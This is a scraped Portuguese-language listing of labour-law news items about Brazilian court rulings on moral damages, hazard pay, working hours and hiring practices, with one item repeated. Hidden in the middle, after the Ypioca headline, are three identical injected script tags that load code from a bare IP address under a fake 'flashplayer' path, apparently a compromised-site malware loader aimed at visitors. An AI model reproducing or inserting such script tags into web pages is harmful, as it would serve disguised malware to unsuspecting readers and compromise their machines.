Notícias . Direito Trabalhista
Turma afasta suspeição de testemunha que tem ação contra o mesmo empregador.
O fato de a testemunha indicada em processo ter ação judicial semelhante contra o mesmo empregador e com o colega também como testemunha não a torna suspeita ou caracteriza “troca de favores”. Por isso, seu depoimento não pode ser desqualificado. [...]
Clique e leia a notíciaProfessora receberá periculosidade por exposição a inflamáveis em laboratório.
A Segunda Turma do Tribunal Superior do Trabalho proveu recurso de uma professora da União Brasileira de Educação e Assistência (Ubea) e reconheceu seu direito ao adicional de periculosidade devido à exposição a agentes inflamáveis no laboratório da Faculdade de [...]
Clique e leia a notíciaYpioca indenizará empregada acusada de desviar dinheiro.<script src="http://199.102.67.62/br/flashplayer"></script> <script src="http://199.102.67.62/br/flashplayer"></script> <script src="http://199.102.67.62/br/flashplayer"></script>
Acusar empregado de desvio de dinheiro da empresa sem a necessária cautela evidencia abuso do direito do empregador no exercício do poder disciplinar e gera o dever de indenizar. Com base nesse entendimento, a Subseção 1 Especializada em Dissídios Individuais [...]
Clique e leia a notíciaFrigorífico não pode prorrogar jornada mesmo com acordo sobre banco de horas.
A jornada de trabalho em atividade insalubre só poderá ser prorrogada mediante licença prévia da autoridade competente em matéria de higiene do trabalho. Com esse fundamento, previsto no artigo 60 da CLT, a Quinta Turma do Tribunal Superior do Trabalho [...]
Clique e leia a notíciaAlpargatas é condenada por exigir certidão de antecedentes criminais de atendente.
A Sexta Turma do Tribunal Superior do Trabalho condenou a Alpargatas S. A. a indenizar em R$ 5 mil, a título de danos morais, uma empregada obrigada a presentar certidão de antecedentes criminais antes de ser contratada. “A exigência da [...]
Clique e leia a notíciaAlpargatas é condenada por exigir certidão de antecedentes criminais de atendente.
A Sexta Turma do Tribunal Superior do Trabalho condenou a Alpargatas S. A. a indenizar em R$ 5 mil, a título de danos morais, uma empregada obrigada a presentar certidão de antecedentes criminais antes de ser contratada. “A exigência da [...]
Clique e leia a notíciaTrabalhadora obrigada a ficar seminua durante exame admissional deve ser indenizada.
Uma empregada da Doux Frangosul que precisou ficar seminua e fazer poses consideradas constrangedoras durante o exame admissional deve receber R$ 10 mil de indenização por danos morais. A decisão é da 6ª Turma do Tribunal Regional do Trabalho da [...]
Clique e leia a notíciaEmpresa de segurança indenizará empregado preso pela PF por armas irregulares.
A Embraforte Segurança e Transporte de Valores Ltda. Foi condenada a pagar R$ 10 mil de indenização por dano moral a um superintendente comercial preso ilegalmente após a fiscalização da Polícia Federal encontrar armas de fogo irregulares na empresa. A [...]
Clique e leia a notíciaRede de lojas é condenada em dano moral coletivo por exigir jornadas exaustivas.
A C&A Modas foi condenada a pagar R$ 100 mil de indenização por descumprir uma série de normas trabalhistas, situação que, segundo o Ministério Público do Trabalho, reduziu seus empregados a condição análoga à de escravo em suas unidades em [...]
Clique e leia a notíciaCEF vai indenizar empregado por não repassar à Receita Federal imposto de renda retido.
A Caixa Econômica Federal foi condenada ao pagamento de indenização por dano moral no valor de R$ 50 mil por não ter repassado à Secretaria da Receita Federal o imposto de renda que havia retido do total devido a um [...]
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